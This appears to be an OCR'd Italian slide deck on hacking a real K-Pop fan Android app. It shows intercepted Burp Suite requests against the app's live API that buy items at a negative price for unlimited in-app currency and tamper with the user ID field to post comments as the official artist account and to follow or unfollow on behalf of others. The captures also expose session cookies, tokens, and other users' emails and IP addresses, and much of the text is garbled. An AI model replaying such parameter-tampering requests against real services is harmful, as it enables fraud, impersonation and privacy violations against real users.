From CTFs to real world PWN:
Hacking an android app



Quante delle app che _ _
usate ogni giorno '
richiedono che siate
connessi ad internet
per funzionare?

(PrObabilmente tantE) One or more Private IPs Public IP

............ Internet




E quindi?

E quindi noi “leggiamo” cosa il nostro telefono manda e riceve

* Ci sono spesso solo protezioni minime nelle app per proteggersi dall’'analisi del
traffico di rete

®* Possiamo bypassarle facilmente

* Se siete interessati, le vostre keyword sono: SSL/TLS Pinning bypass

* Leggendo il traffico dati tra I'applicazione e il server possiamo capire cosa sta
succedendo “nel backend”

* Nella maggior parte dei casi si tratta di normali richieste HTTP(s)

* Possiamo anche modificare il traffico “in transito” e cambiare cosi il
comportamento dell'applicazione



“Si ok bello ma facci vedere qualcosa di
pratico, ‘sta fuffa teorica e noiosa”

Cicerone. Probabilmente. Forse.
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Il nostro caso di studio
Un'app del K-Pop

* App perifan di un gruppo K-Pop

®* Una specie di instagram “privato” cosi che i fan
possano vedere i post degli artisti

* Ifan possono anche interagire tra loro

* A primo impatto l'app sembra fatta non troppo
bene

* Lenta

®* Crasha spesso

* “Sidimentica” il login



Step 1

Cosa fa quest’app? Che funzioni ha? Cosa potremmo
attaccare?

* Lutente si reqgistra con il numero di telefono
* Puo impostare un username, email, descrizione e caricare un'immagine di profilo
®* Puo postare immagini con descrizione
®* Puo sequire altri utenti ed essere a sua volta sequito
®* Puo commentare i post degli artisti e deqgli altri utenti
* @Gli artisti hanno il loro “feed” dedicato, cosi che i loro post siano sempre evidenziati
* L'app contiene microtransazioni: I'utente puo comprare “DRC"” pagando soldi reali:

* I DRC sono usati per votare i post, comprare emoticon animate, scaricare i post deqgli
artisti in alta risoluzione e altro



BELLI'STI DI DRC
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Burp Project Intruder Repeater Window Help

EDaahhnard Target | Pro Intruder | Repeater | Seguencer | Decoder | Comparer | Extender | Project options | User options | JSOMN Beautifier
g Xy P g P | pt pt

f Intercept T HTTP history TWEbEDEHE’[S history w Options 1

Filter: Hiding out of scope items; hiding C55, image and general binary content I{

# 4 Host  Method | URL | Params | Edited | Status | Length | MIMEt... E...| T...  Comment cosl IR

0o https://app.candlemystar.com POST  /app/picturefitem detail v 200 1798 JSON v 10431
120  https:/fapp.candlemystar.com POST  fapp/points/star_buy item v v 200 b37 JSOM BOUGHT WALLPAPER WITH NEGATIWVE PRI... 104 31.¢
-l i "

. Onginal request T Edited request | Response 1

. Faw T Farams T Headers W Hex %

FOST fapp/points/star buy item HTTF/L1.1
Host: app.candlemystar.com

Connection: close

Content-Length: l&4

Origin: file://

Uzer—-Agent: Mozilla/5.0 (Linux; Andreoid 5.1.1; SMH-NS50N Build/MNHMFIZEX; ww) AppleWebhEit/537.36 (EHTML, like Gecko) Version/4.0 Chroms/74.0.37289.136 Mobile
Saftari/537.36

Content-Type: application/x-www-form-urlencodesd
Aocept: */F

Accept-Encoding: gzip, deflate

Accept-Language: it-IT,it;cq=0.9,en-Us;qg=0.8,en;cq=0.7
Cookie: session=nblsiZbhgelkSiiaaZijgenplrlogmidhplh
*—PFequested-With: com.candlemystar.dreamcatcher

mem type=DREAMNCATCHERE&mem id=20Z003032200452382 12 &hash=Cyl0GadxwHHpIr3GuldlgFCdduhrotBUTETUE18bHelSdfThEdgqUHes & language code=it&item type=picéitem id=l118&item pr
loe=1



Cosa c'e di sbagliato?

Tanto. Veramente tanto.

* “Salve, sono Giovanni, vorrei comprare questo oggetto, costa 5 euro.”
®* Perche dovrei dire io il prezzo al negoziante? (Spoiler: non dovrei)
* “Salve, sono Giovanni, vorrei comprare questo oggetto, costa 0 euro.”

* Interessante

* “Salve, sono Giovanni, vorrei comprare questo oggetto, costa -100 euro.”

®* E ora che succede? Scopriamolo
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Burp Project Intruder Repeater Window Help

| Dashboard TTarget T Proxy T Intruder w Repeater T Sequencer T Decoder w Comparer T Extender T Froject options T Lser options WJEDH Beautifier

| Intercept I HTTF history TWEhEDEIﬁ:EtS history W Options 1

Filter: Hiding out of scope items; hiding C55, image and general binary content

# 4 Host ' Method | URL | Params | Edited | Status | Length MIMEt... |E... | T... | Comment | a3l | IP

aa https:/fapp.candlemystar.com POST  fapp/picture/item detail v 200 1798 JSON v 10431
120  https://app.candlemystar.com POST  /fapp/points/star_buy item v v 200 b37 JSON BOUGHT WALLPAPER WITH NEGATIVE PRI... '  104.31.
-l vy L

| Onginal request T Edited request | Response 1

. Raw T Farams T Headers W Hex %

PCOST /app/points/star buy item HTTF/1.1
Host: app.candlemystar.coln

Connection: close

Content-Length: L1£7

Origin: file://

User—-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-NS50N Build/MNHMFIZEX; wv) AppleWebhEit/537.36 (EHTHML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Mohile
Safari/537.3E

Content-Type: application/x-www-form-urlencoded
Aocept: /S

Accept-Encoding: gzip, deflate

Accept-Language: 1it-IT,it;qg=0.9,en-Us;g=0.8,en;q=0.7
Cookie: session=nblsZhgelk8iiaaZijgenplrlogmdhplh
¥—-Fequested-With: com.candlemystar.dreamcatcher

mem Cype=DREANCATCHERE&Emem i1d=I0200303Z22004588212 &hash=Cyl0GaBxwHHpIr3GullgFCdduhrotBUTETUE]8bNelLladifThE4gqUHes&language code=it&item type=pilcéitem id=ll1B8&item pr
lce=-100



©® 100 - Achievement unlocked
Infinite money glitch

Edited request Response
Raw Hex = N = Pretty Raw Hex = \n =
& UL SN RN R S sl Y .I_I"'\_-J.J."':'I br L L & -
1 POST fappfpﬂlﬁiafatar_buy_ltem HTTE/1.1 = connection: close
2| o8t 2P, Sanc- arystar.con 5 |Set-Cookie: _ cfduid=deB9634c9009c47237e94a2820b1884b31583274181;
3 Connectlion: close . — .
) i - explres=Thu, 0Z-Apr-20 ZZ:Z23:01 GMT; path=/;
d Content-Length: 1&7 , ] ,
ST Tt fil- ;g domain=.candlemystar.com; HttpOnly; SameSite=Lax
5 |0 : e://
) - : : : 7 ' ; 9 Now 198 8:52: Gl
- User-Agent: Mozilla/5.0 (Linux:; Android 5.1.1; SM-NS950N _ Expires: Thu, 15 Nov 1581 08:5Z:00 GMT |
Build/NMFZEX; wv) AppleWebKit/537.36 (KEHTML, like Gecko) Version/4.0 : Cache-Control: no-store, no-cache, must-revalidate
Chrome/74.0.3729.136 Mobkile Safari/537.36 J |Pragma: no-cache
7 Content-Type: application/x-www-form-urlencoded 10 |Access-Control-Allow-Origin: *
Accept: */* 11 CF-Cache-Status: DYNAMIC
Accept-Encoding: gzip, deflate 12 Expect-CT: max—age=£04800,
10 Accept-Language: 1t-IT,it;qg=0.9,en-US;qg=0.8,en;q=0.7 report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-
11 |Cookie: session=nblsZhqelk9]3aalZijgenplrlgmdhplh e

¥-Requested-With: com.candlemystar.dreamcatcher 13 gserver: cloudflare

CF-RAY: LHibebclT7hletb9ddle-STN

!
[y [T

14 mem type=DREAMCATCHER&mem 1d=CZ0Z00303ZZ0045%88Z1Z&hash=
2y10GaBxwHHp3r3GuAlgFCdIuhrot 9UTETUuE 9bMcLSdfThE4qCHEe &language code

=it&ltem type=pilicé&litem id=118&item price=-100 "eode™: "O00"
I_I 0 e ."

"total star":131

}

@{@} & = | Search.. 0 matches @@ & = | Search. 0 matches




“BUT WAIT... THERE'S MORE"

Scary Movie
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Burp Project Intruder Repeater Window Help

Dashboard | Target | Pro Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | JSOMN Beautifier
g Xy P q P ) pt pt

= Dream@atchen

Intercept [ HTTP history ] WebSockets history [ Options |

| Filter: Hiding out of scope items; hiding CSS, image and general binary content ®

DC_GAHYEON :

w o <, Fk] Host | Method | URL | Params | Edited | Status | Length |MIMEt_ |E.|T... | Comment 'ssL [P
|| 638  https://app.candlemystar.com POST  /app/mypage/star_point v 200 2375 JSON v 1[]4.31.EE
644  https:/fapp.candlemystar.com POST  /app/board/star v 200 120915 JSON v 104.316]»
:1..;\‘- _'f'l '._ |

Request [Resp&nse ]

Raw | Headers | Hex [JSDN Beautifier

{
I aE . o
"data™: |

ML JF
{

Mricw™:

"post id": "40173",

"mem type": "DREAMCATCHER",

"post num": "-38123",

"post reply": "",

"brd id": "1",

"post title™: "ZO190BO709252737251",
"nDtiEe e e o

"post cgntent": o o ' S v Bl o
"post content json: "",

"post category": "1",

"mem id": ":DLEDBDTDEZEZTSTZElP;

"post userid": "DC GAHYEON",

"post username": "",

"post nickname": "",

"post email®™: """,

"post homepage": null,

"post datetime": "IO0DZ0-03-03 1le:39:47",
"post password": "',

"post updated datetime": "IZIO0Z0-03-03 1£:39:47",
"post update mem id": "0O",

222 Aol QIELOle e

=

"post comment count™: "121",

"post comment updated datetime®”: "I0Z0-03-04 00:02:37",
"post link count': "0V,

"post secret”: "O",

"post html®™: "O",

"post hide comment”: "0O",

"post notice®: "OY,

"post receive email®™: "0O",

"post hic": "7895",

"post like®™: "1018%,

"post star”: "E3", _."

0 matches

& 01:09
E E']' 403/2020 %
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Burp Project Intruder Repeater Window Help

Dashboard | Target | Pro Intruder | Repeater | Seguencer | Decoder | Comparer | Extender | Project options | User options | JSON Beautifier
g Xy p g P ] pt pt

{:_ testlng_the_pen Intercept T HTTF history IWehSDcI{ets history I Options ]

Filter: Hiding out of scope items; hiding CS55, image and general binary content

# 4 Host Method | URL Params | Edited | Status | Length | MIMEt... |E.._|T... | Comment S3L | IP

204 https:/fapp.candlemystar.com POST  fapp/comment_list/lists/39708 200 2Me2  JSON 104.31]a
308  https:/fapp.candlemystar.com POST  fapp/comment_list/lists/39708 200 27267 JSON 104 .31

200 27272 JS0N 10431

200 27162  JSON 10431
1N 2T1R7 L=Ta1y 104,31

309  https:/fapp.candlemystar.com POST  fapp/comment_list/lists/39708

313 https:/fapp.candlemystar.com POST  fapp/comment_list/lists/39708
q“(ﬂ\ htt e -flanm candloamarctar cnm ChsT lannfrnmmant lictf/licte MRO70R .
. |

S
S AN L

L

Pen Request I Response ]

Raw T Headers I Hex IJSDN Beautifier ]

"country names": "Hong Fong" i
by
{
"emt id": "lesloon,
"post id'": "39708",
"bred id": "LT,
"oemt num': "-154108",
"omt reply™: "M,
"omt html™: LT, :)
"cmt_secret": ror,
"emt img": "https://file.candlemystar.com/emoticon/Z015/09/9cI588ledfflS13adE2 723345213355, git”,

"omt content™: 7,

"omt point': "O",

"mem id": "I0L1S90S903Z1Z1Z27e0141",

"emt password': "N,

"omt userid": "insomnia utted"”,

"omt username": "Insomnia utted ?7,

"omt nickname": "Insomnia utted ?7,

"omt emailf': "amanajaskleberfgmail. com™,
"emt homspage": null,

"omt datetime®: "IO0ZO0-DZ-I29 1B:Z0:58",
"omt updated datetime": "I0IZI0-DZ-I9 18:20:58",
"oemt ip'™: "17Z2.68.24.89",

"cmt_like": rorr,

"omt dislike"™: "OU,

"omt blams": "O",

"omt dewvice™: "molile"™,

"cmt_del": ror,

"mem type": "DREAMCATCHERY,

"mem userid": "insomnia utted”,

"mem nickname": "Insomnia utted ?7,

"mem icon': ",

"mem photo’: "I0Z0/02/40a5edddl4s9z0fe £fh7edddlbal 180a. ipg™,

"mem point™: "g2",

"m=ta™: []., ke
M"oontent™: 7, |

L)L) F ) [email 20 matches

@

i 00:18
* &= ga0a2020 =



“mem id? Cos'e?
E' uno strumentopolo a sorpresa che ci
servira piu tardi!”

Topolino



Request

HO J Flaw T Farams T Headers T Hex 1

FOST /Japp/comment list/update/38708 HTTE/L.1
Ah gichst: app.candlemystar . com
Connectlion: close
Content-Length: Z52
. Drigin: file://
VEdIaTjser—Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-N950N
COmnEuilclfNI'IFjE}i; v AppleWebhEit/537.36 (EHTHML, like Gecko)
Version/4.0 Chrome/74.0.3729.136 Mobile Safari/537.36
Content-Type: application/x-www—form-urlencocdesd
Aocept: w/*
Accept-Encoding: gzip, deflate
Accept-Language: 1t-IT,1t;qgq=0.%,en-Us;c=0.8,en;qgq=0."7
Cookie: sesslon~knkd4ZttrbhSrsegSeheilscliujkmjraZl
¥—Fequested-With: com.candlemystar.dreamcatcher

mem type=DREANCATCHER&mem id=I015305010751215757&hash="v10GaSxwHH
PIiriCGullgFCdduhrotBUYETUE b NcLodIThE4gqUHes & language code=1t &cou
ntry code=ER&post 1d=3870C&cmt content=This5Z0commentiZUshouldsa
OnotizlexXlstécmt 1mg=httpsSs3AS_Fs Fl.imgur.com3s_FEsSJPREN.g1T

fare un
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Burp Project Intruder Repeater Window Help

[ Dashboard | Target ]' Proxy ]' Intruder I Repeater I Sequencer I Decoder I Comparer I Exte

® 200 - Achievement unlocked

-::_ comment

—

‘e ) & DREAMCATCHER

¢
THIS PICTURE SHOULD
NOT BE ABLE TO BE
POSTED IN COMMENTS

This comment should not exist

o (8) huimei_1224
'J'h;’

Message fjl

0 matches

I'm the K-Pop star now

T JSON Beautifier

Z20zZ0 ZZ2:4Z:3g GHT
ication/Jjson

id=dabideleld3id9ase3 lc8E8L5471824ffe4 1583275356, exXpires=Thu,
GMT; path=/; domain=.candlemystar.com; HttpOnly; Same3ite=Lax
ow 1981 08:52:00 GHMT

store, no-cache, must-revalidate

n=erhpiees087tS4dnZ0lnrdnbanb 21592k expires=Wed, 04-Mar-zZ0zZ0
Rge=7200; path=/; HttpOnly

ow-0Origin: *

THAMIC

=£04800,
ffreport—-uri.cloudflare.com/cdn-cgi/beacon/expect-ct™

SJadckha-3 TN
a7

id":"3g870e", "ecomment " { "mem type":"DREAMCATCHER", "cmt num":-15£127,"
_content™:"This commwent should not

l,"cmt datetime":"2020-03-03

ated datetime":"2I020-03-03

:M1EZ.L5B.167. 187", "post_ id":"39708", "hrd id":"Ll", "mem id":"Z0L150901
serid": "DEEAMCATCHER"™, "cmt username":"Dreamcatcher

kname'": "Dreamcatcher

ilremt, "emt img":"https:\/\/i.imgur.com' /EsJPkzN.gif", "cmt secret":0
ile","cmt id": 171156, "img url":"https: /' \/file.candlemystar.com'/cac
Z0Z0W /02 thumb-£41915114a50bldef41f1lc77£c332e52 100x100.jpg", "count
_level™:"e0", "mem userid":"DEEAMCATCHER", "country nams'":"South

ment count":"170", "best commsnt': [{"cmt id":"17115E", "post id":"3570
ot num™ 15127, "emt reply":"T, Memt hemlT: LY, "emt secret™:f0O", "om
i.imgur.cDmEEEsJszN.gif";"cmt_cnntent":"This comment should not
$"OT, mem 1d":"I0L15080107512 15757, "emt password": "M, "emt userid": "D
username":"Dreamcatcher official", "cmt nickname":"Dreamcatcher
i1, Temt homepage":null, "emt datetime":"I0Z0-03-03

ated datetime":"Z020-03-03

:M1EZ . 158 LeT. 187", "omt like": 0", "ocwt dislike":"0", "cwt blames":"0",
e LA e et de 1M 0", "mem type”: "DREAMCATCHER", "mem userid":"DREAMCATCH
ER", "mem nicknams":"Dreamcatcher

| =
¥

@ [ < Jl + H > J Type a search term 0 matches

4.830 bytes | 1.063 millis




Burp Project Intruder Repeater Window Help
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Dashboard Iarget | Frnx:-,r | Intruder [REPEHT.EF ] SEC[UEHCEF | Decoder | Cnlllparer | Extender | FrDjEEt Dp‘tiﬂﬂﬁ User Dp‘tiﬂﬂﬁ JSON Beautifier

n @ huimei_1224 ] [ij Cance Target: https:/fapp.candlemystar.com f@
= "I\.-" \

i

Request Response
|:| Raw] Farams | Headers | Hex | J Fiaw] Headers | Hex | Render | JSOM Beautifier
FPOST fapp/comment list/delete comment, HTTP/L1.1 A HTTF/1.1 Z00 OQOK A
lil Hos=st: app.candlem;star.cnm B r Date: Tue, 03 Mar Z0Z0 ZZ:43:3& GHT ™
Connection: close Content-Type: text/html; charset=UTF-8
E Content-Length: 138 Connection: close
Origin: file:// set-Cookie:  cfduid=diZeB83371lecelcO0fe7bEs700d522E32dY91583275415;
EEI Uzser-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-NS50N Build/NMFZEX; wv) expires=Thu, 0IZ-Apr-I0 Z2:43:35 GMT; path=/; domain=.candlemystar.com;
AppleWebEit/537.3F (EHTML, like Gecko) Version/4.0 Chrome/74.0.3729.136 Hotponly: SameZSite=Lax
I [olile Safari/537.36 Expires: Thu, 19 HNow 19281 08:5Z:00 GMT
Content-Type: application/x-www-form-ur lencoded Cache-Control: no—-store, no-cache, must-revalidate
Aocept: */w Pragma: no-cache
Aocept-Encoding: gzip, deflate Vary: Accept-Encoding
Aocept-Languages: it-IT,it:;q=0.9,en-Us5;qg=0.8,en;q=0.7 Aocegss-Control-Allow-Origin: *
Cookie: session=knkd4ZttrbhSrseSeihedlicliuljkmiraZ CF-Cache-Ztatu=s: DYNAMIC
X-FPequested-With: com.candlemystar.dreamcatcher Expect-CT: max-age=g04200,
report-uri="https://report-uri.cloudflare.com/cdn-cgi/bheacon/expect—ct™
mem type=DREAMCATCHERE&mem id=IZ01502010751215757&hash=2yl0Ga8xwHHpIE3GuldAlgFC Server: cloudflare
AdduhrotSUTETUS SN L3dEfThE4qCHee & language code=it&cmt id=171136 CF-FAT: SEegelfl7adedodz-SIN
Content-Length: 3435
{"code":200,"cmt id":171156,"post id":"39708" ,"total comment count":"169" "
best comment":[{"cmt id":"170633" ,"post id":"39708" ,"brd id":"1","cmt num":
"—155612";"nmp_replf":"";"ump_html":"1";"nmp_senret":"D","um;_imq":"https:\
f\/file.candlemystar.com\ /emoticon\/2019\ /08 /556544d36ce376chlchl131213d72e /
cl6.gif" ,"cmt content":"","cmt point":"0","mem id":"2019090205582331186" ,"C
m;_passwurd":"";"ﬂmp_useriﬂ":"huimmi_l?id","um;_usernamﬂ":"\udﬁln\uhhfﬂ
Hui Mei',"cmt nickname":"\ud6lc\ubbf& Hui
Mei" ,"cmt email":"" ,"cmt homepage" :null,"cmt datetime" :"2020-03-03
08:30:04" ,"cmt updated datetime":"2020-03-03
08:30:04" ,"omt ip":"162.158.7.40" ,"cmt like":"0" ,"cmt dislike":"0" ,"cmt bla
me":"0","cmt device":"mobile","comt del":"0", "mem type":"DREAMCATCHER" , "mem
userid":"huimmi_liid";"nmmLpinknamﬂ":"\udﬁlnkuhhfﬂ Hui
Mei" ,"mem icon":"","mem photo":"2020%/01\/b5fa55a6797blc7£d43bd5029d3e54dd.
Jpg" ,"mem point":"113" ,"mem Jevel":"1" ,"meta":[],"content":"" "display name
. () leesiyeonismylife ":"\udélc\ubbfs Hui
. Hei" ,"display datetime" :"08:30" ,"is mobile" (true , "display ip":"" ,"membher ph
| love you so much e oto url": "httEs:‘h,f‘h,ffile.ﬂa.uﬂlemjrst;r.ﬂum"h,fﬂanhe‘h,,,r"memher_;llutu\,fﬂﬂﬂﬂ‘h,fﬂl{ft
humb-b5fa55a6797bh1lc7fd43bd5029d3e54dd 64x64.Jpg"},{"omt id":"170059" ,"post
| id":"39708" ,"brd id":"1","cmt num":"-155045" ,"cmt reply":"" ,"cmt html":"1",
. . P "omt secret":"0","cmt img":"https:\f\/file.candlemystar.com\/emoticon\ /2019
‘a @ IﬁEDI’I‘II’IIEI_LIttEEl I -' \/08Y/556544d36ce3T76chlchl131213d72ecl6.gif" ,"cmt content":"" ,"cmt point":"0 .-r
_ Tuna g caarrh farm Tuna 9 caarrh form
Message (L) = @ LS+ ]| 2] |Type a search te 0 matches @ L< || * || =] |Tyoe asearch te 0 matches

Done 4.074 bytes | 2.116 millis



T O F IEfef ;
“Hurry up and follow me"§

Wake Up - Dreamcatcher



Ed ecco il “seguito”

Tanti follower tanto onore

* Cisiamo dimenticati della possibilita di seguire altri account (ed essere
sequiti)?




C NoxPlayer 6.6.0.3 > App Center 1]

-::— Followers

all 0

|
Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder [Fu‘.epeater ] Seqguencer | Decoder | Comparer | Extender | Project options | User options

JSON Beautifier

2% [3x] .|

| Go |
M ssue the request

Fiaw] Farams | Headers | Hex |

POST /app/profile/add follow HTTF/1.1

Ho=st: app.candlemystar.oom

Connection: close

Content-Length: 158

Origin: file://

User—Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-NS50N Build/NMFIEX: ww)
AppleWebEit/537.36 (EHTHML, like Gecko) Version/4.0 Chroms/74.0.3729.136
Mobhile Safari/537.36

Content-Type: application/x-www—-form—urlencodesd

Aocept: W/

Aocept-Encoding: gzip, deflate

Accept-Languages: it-IT,it:q=0.9,en-U5;cq=0.8,en;q=0.7

Cookie: session=Srtijf9hmlagivdnffZhllvbhldofijchdk

X-Fequested-With: com.candlemystar.dreamcatcher

mem type=DREAMCATCHER&mem id=2015050203045645455&hash=Cy10GaBxwHHp3r3GuldlgF
CdduhrotSUT7ETuEISbNeLodEThE4qCHEs £ language code=it&other mem id=20200303Z220
04988212

0 matches

Target: https://fapp.candlemystar.com f @

0 matches
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Burp Project Intruder Repeater Window Help

Dashboard ]'Target I Ry I e IREF&EH I Sequencer I Decoder I Comparer |

G o]

Cancel

| Go |

Request

Raw T Farams I Headers T Hex ]

O 500 - Achievement unlocked

The most popular kid on the block

Target: https:/fapp.candlemystar.com ‘f @

Response

_[ Raw T Headers I Hex T Render IJSE}N Beautifier ]

FOST /app/profile/add follow HTTP/L.1

Ho=st: app.candlemystar.com

Connection: close

Content-Length: 158

Origin: f£ile://

Uzer-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SM-NS50MN Build/NMFIEX; wv)
AppleWebEit/537.36 (KHTHL, like Gecko) Version/4.0 Chrome/74.0.3729.136
Mokhile Safari/537.3E

Content-Type: application/x-wwwv-form-urlencoded

Acocept: */*

Aocept-Encoding: gzip, deflate

Aoccept-Language: it-IT,it;qgq=0.9,en-Us3;q=0.8,en;q=0.7

Cookie: session=frtijSShmlagiv4ntffihllkvhldofjchdk

¥-Fequested-With: com.candlemystar.dreamcatcher

mem type=DREAMCATCHER&mem id=2018050203045645455&hash=y10GadiwHHpS 3 GullgrF
CdduhrotSUTETuE ]9 MeL3dfThEdqUHes & language code=it&other mem id=Z0200303ZZ0
04988212

| =3
v

0 matches

HTTP/1.1l Z00 OK

Date: Tues, 03 HMar Z0Z0 ZZ:50:49 GHMT

Content-Type: text/html; charset=UTF-&

Connection: close

set-Cookie:  cfduid=dadi7bB8aS5fddebfallddeel75384EcD21583275848;
expires=Thu, 0Z-Apr-20 ZZ2:50:48 GMT; path=/; domain=.candlemystar.com;
HotpOnly: SameSite=Lax

Expires: Thu, 189 Nowv 1921 08:5Z2:00 GHMT

Cache-Control: no-store, no—cache, must-revalidate

Pracma: no-caches

set-Cookie: session=sT7ul9icV7efksmmhl iifl0sdgtdvikml,: expires=Wed,
04-Mar-202Z0 00:50:48 GMT; Max-Age=7200; path=/; HttplOnly

Vary: Accept-Encoding

Access—-Control-Allow—-Origin: *

CF-Cache-Status: DYNAMIC

Expect-CT: max-—-age=c04200,
report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct”
Server: cloudflare

CF-FPAY: StegebleBallccld-SIN

Content-Length: 1&5

{"code" :200,"add friend":0,"mem open profile":"1" "latitude":"1.28009" , "lon
gitude":"103.851" ,"msg":"testing the pen¥You followed
","target count":1,"kemipoint":"1"}

[9¢]
=i d
Cn
195]
ak]
[9¢]

® &G @) [rrersamion

| =
A

0 matches

928 bytes | 1.019 millis



L NoxPlayer 6.6.0.3 " App Center 11 =
Burp Project Intruder Repeater Window Help

Dashboard | Target | Proxy | Intruder [Repeater ] Sequencer | Decoder | Comparer | Extender | Project options | User options | JSOM Beautifier

{:— Followers

1 =

2 [+ Joo |

all 0 B | Go | Target: https://fapp.candlemystar.com /@

E'] Request Response
- Fiaw] FParams | Headers | Hex | J F?.aw] Headers | Hex | Render | JS0OM Beautifier
POST fapp/profile/delete follow HTTF/1.1 A HTTP/1.1 Z00 QK i
LH Host: app.candlemystar.ocom r Date: Tue, 03 Mar Z0Z0 ZZ:51:48 GHT r
Connection: close Content-Type: text/html; charset=UTF-8
E Content-Length: L58 Connection: close
Origin: f£ile:// Set-Cookie:  cfduid=defleld31SE72251dff12fbhOec53callbl583275508;
Ej? User—-Agent: Mozilla/5.0 (Linux; Android 5.1.1; SHM-NS50N Build/NMFIZEX: wvw) expires=Thu, 0I-Apr-I0 22:51:48 GMT; path=/; domain=.candlemystar.com;
AppleWebKEit/537.36 (EHTHML, like Gecko) Version/4.0 Chroms/74.0.3729.13F HotpOnly: SameSite=Lax
I Mol ile Safari/537.36 Expires: Thu, 19 Nowv 12981 0B8:5Z2:00 GHMT
Content-Type: application/x-www-form—urlencoded Cache-Control: no-store, no-—cache, mast-revalidate
Aocept: */* Fracma: no-cache
Aocept-Encoding: gzip, deflate Vary: Accept-Encoding
Accept-Language: 1it-IT,it:q=0.9,en-U3;qg=0.8,en:;c=0.7 Aocess-Control-Allow-Origin: *
Cookie: session=9rtjf%9%hmlagivdnffihllvhldofithdk CF-Cache-5Status: DYIMNAMIC
X=Fequested-With: com.candlemystar.dreamcatcher Expect-CT: max-age=£04200,

report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct™

mem type=DREAMCATCHEREmem id=2015050203045645455&hash=Cy10GaBxwHHRp3r3IGuldlgF Server: cloudflare
CdJuhrotSU7ETUE]SbNcL5dEfThbE4qUlHEe £language code=it&other mem 1d=20Z00303ZZ CF-FAY: Segecec9dlbhesdoctz-STIN
o49zz2 12 Content-Length: 144

{"'code" :200,"del friend":0,"mem open profile":"1" ,"latitude":null,"longitud
e':null, "msg":"You have cancelled your follower.",6 "target count':0}

=

ﬂ -'l' -'F
@ [ < H + H = J Type a search ferm 0 matches @ [ < H + H = J Type a search ferm 0 matches

=

Done 782 bytes | 1.016 millis



“I mem id identifica un utente.

Un utente puo effettuare azioni.

Se ho il mem_id di un utente posso effettuare azioni impersonando
guellutente”

Aristotele, sicuramente.
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Testing "DIFFERENT" file upload

DREAMCATCHER
COMPANY

[ | Burp Suite Professional v2.0.06beta - Dreamcatcher_App - licensed to Anon — [ .

Burp Project Intruder Repeater Window Help

[ Dashboard ITarget T 0X T Intruder T Repeater T Sequencer I Decoder T Comparer I Extender I Project options T User options TJSDN Beautifier

. I HTTP history IWebSncI{ets history I Options ]

I:]+ ‘f M\ Request to https://app.candlemystar.com:443 [104.31.68.193]

|:]' | Forward | | Drop | | Intercept is on | | Action | \j" @

0] Raw T Farams I Headers I Hex ]

BN [ FEAMCATCHER A
ra Bl —— +++++ r
RAK

Content-Disposition: form—data; name="mem id"

= 202003032Z20048882 12
——+++++
ﬁ Content-Disposition: form—data; namse="hrd key"
B [
" fan
——+++++

Content-Disposition: form—data; name="file nun"

1
——+++++

Content-Disposition: form-data; name="post file"; filename="vixx crop.jpg”
Content-Type: image/Jjpeqg

#@{a0JF I FO000+ U CO000000000000000000000

OooO 4

L L n

OO0000000000000000004A0000000000 % UCO0000000 oo DO00000000000000000000000000000000000000000000000000+A00°, ', 00 "000000+ A00000000000000000

07 ip0000000000000 } 0000000 ! 1 A00Qa0" 020 Y j0#B+A0RN& § 3br,

O0000% &' () *456789: CDEFGHIJSTUVUXYZedefghijstuvwxyef, . T3 %S/ ““e-— " ™Zeen¥| § @222 'nq -, 1 ALALECEEEOOOOG @lT44448ecé 24766486 -p iy iD0000000000000000000
O ip00000000000000w000000 ! I00ACOaqO"2000B* j+A  #3R&Obrll

O 4a%xn0000& " (1 * 5782 :CDEFGHIJSTUVWET Zodefrrhid=stirarwrs £ tt - Hnr g ~TMI AL FEI & @223 - 10 fEEARCERREAAAAAX ATTTAZ 3 8mr s dAAARAL m11111..rTT|lﬁr|r|r|r|r|r|‘:' £ o — SR amai | ACTIE 4
: fiiy @i I0eu 59 ) OSBT[asOCEc#s ¥ foir 4J@7A0JFIF00007UC00000000000DNN00000000000A4000000000000000000004000000000070C0000000000000000000000

DD|:||:||:||:||:||:||:|DDDD|:||:||:||:||:|DDDD|:||:||:||:||:|DDDD|:||:||:||:||:|DD'_',".-‘["-.DDI".I".D|:|"D|:||:||:||:||:|'_',".-‘['".DD|:||:||:||:||:|DDDD|:||:||:||:||:|DD'_',".-‘["-.I.IDDDDDDDDDDDDD}DDDDDDDI
1AEIEIGaEI"gIZIEEIEIﬂ#EH;&EIHN&EhrEIEIEIEIEIEI% 07456789 CDEF GHIWSTLMWWKY ZodefghijstuvayzD000000000000000O@E =44 ©F= - 05,448 F

y o . - . QEEEDDDDDX!EILJUaaaaaaeu;eeennnnnn si0yA000000000000000000000%4pu00000000000000w000000N 00AQOag0"2000B0+A#IRA0
€07 | 2OEE] £EACSFSE0M i@ O | A=HaavE: =2 fingsse 50000456789 COEFGHUSTUVWICY Zedefghijstuwy z000000000000000000¢E=4§ &= Y PAAAAECEEEOOO00= BUUs5a5m 0ee
7FA°00%0°0CKIO0A =W NsOy* ¢ 060 i xUa) "I aadEE+s0uyUAD00000?_0«n0°0Gae0(ACOE kpL0Aw-@MNO40u Dy MOSEY [a00C# ¥ 00ALYD 9D '05-~004#980 4000308I000XBkg

LU+ 8§Y¥) yab . 6~OYES-" 00’ Ou0ydites TUCHE AT 45 ();. dHDBuepﬁ%—'UND kOOw-%1A0ANDOg)0080[-@00w4000%%04 2 ~0UsSa:- .EiEIvaE[EILJIIEEI"EIEIFG@ﬁDpFDDUBIhaﬁ{SSNEEu -08K0O100(a0%

A ®p] }REfHIUE al: ; 4%a0B p@y, o ikbe~Edi= JHD}—WU?ﬂ al/ ~aEalenn[’ DﬁD@DDDW&{Mﬂ}{EﬂW OO00[[EsE+5=T04 -OHIOE~ecU00pi000400RYOWOM=0"43000=028c5+p0E1 gsaua0fi%
NI (B4) SOATELiS A0>cm  e<™dAE|ns0e5a867%e Op¥eASPODET BIEya0is0piichv O YeepOxCO;

